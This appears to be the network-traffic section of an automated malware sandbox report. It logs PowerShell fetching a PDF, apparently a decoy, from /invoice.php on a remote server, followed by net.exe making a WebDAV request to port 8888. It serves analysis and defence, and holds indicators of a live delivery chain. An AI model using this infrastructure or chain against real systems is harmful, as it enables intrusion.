Jan 10, 2025 14:25:05.418570995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418606043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418632984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418653011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418673992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.446696997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.446746111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.446804047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.446836948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.446876049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.446913004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.446969032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.446985006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447004080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447025061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447057009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447109938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447144985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447155952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447199106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447227955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447237015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447288036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447323084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447350979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447381020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447398901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447432041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447465897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447494030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447525024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447571039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447581053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447606087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447640896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447654963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447674990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447726965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447747946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447760105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447808981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447810888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447839022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447869062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.447873116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447911978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447962046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.447966099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448000908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448050976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448076010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448106050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448156118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448190928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448204994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448225021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448266029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448282003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448299885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448312998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448333979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448368073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448384047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448404074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448436975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448453903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448477983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448533058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448560953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448568106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448617935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448620081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448653936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448685884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448702097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448720932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448771000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448806047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448828936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448848963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448858976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448894978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448926926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.448942900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.448981047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449013948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449040890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449047089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449080944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449117899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449134111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449166059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449199915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449203968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449235916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449270010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449284077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449302912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449312925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449337959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449372053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449394941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449405909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449438095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449459076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449472904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449505091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449525118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449539900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449582100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449647903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449682951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449714899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449731112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449749947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449783087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449815989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449827909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449851036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449883938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449903011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449918985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449925900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.449953079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.449985981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.450010061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.450018883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.450052977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.450073957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.450088024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.450120926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.450140953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.450155973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.450201988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.478007078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478080034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478122950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478158951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478161097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.478199005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478209972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.478240013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478281021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478312969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.478384018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.478508949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.506448984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506618023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506650925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506685972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506712914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.506720066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506750107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.506778955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506829023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506833076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.506865025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506897926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506911039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.506934881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.506985903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507019043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507034063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.507047892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507081985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507097960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.507117987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507148027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507168055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.507180929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507190943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.507215023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507253885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507258892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.507288933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507337093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.507343054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507376909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507416010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.507462025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535248041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535284042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535337925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535342932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535417080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535490990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535525084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535558939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535592079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535603046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535625935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535649061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535661936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535695076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535728931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535756111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535763979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535782099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535797119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535831928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535851002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.535865068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.535984993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.541543961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.552695990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.946067095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:06.733997107 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:06.739140034 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:06.739229918 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:06.739373922 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:06.744200945 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:07.544567108 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:07.596358061 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:07.943270922 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:25:19.800760984 CET	50093	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:25:19.800760984 CET	192.168.2.5	1.1.1.1	0x6f7e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:25:19.807899952 CET	1.1.1.1	192.168.2.5	0x6f7e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	3852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:25:04.028372049 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:25:04.800910950 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:25:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:25:04.800941944 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:25:04.800959110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 14:25:04.800976992 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 14:25:04.800992966 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 14:25:04.801009893 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 14:25:04.801027060 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 14:25:04.801043987 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 14:25:04.801063061 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 14:25:04.801081896 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 14:25:04.805979013 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6720	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:25:06.739373922 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
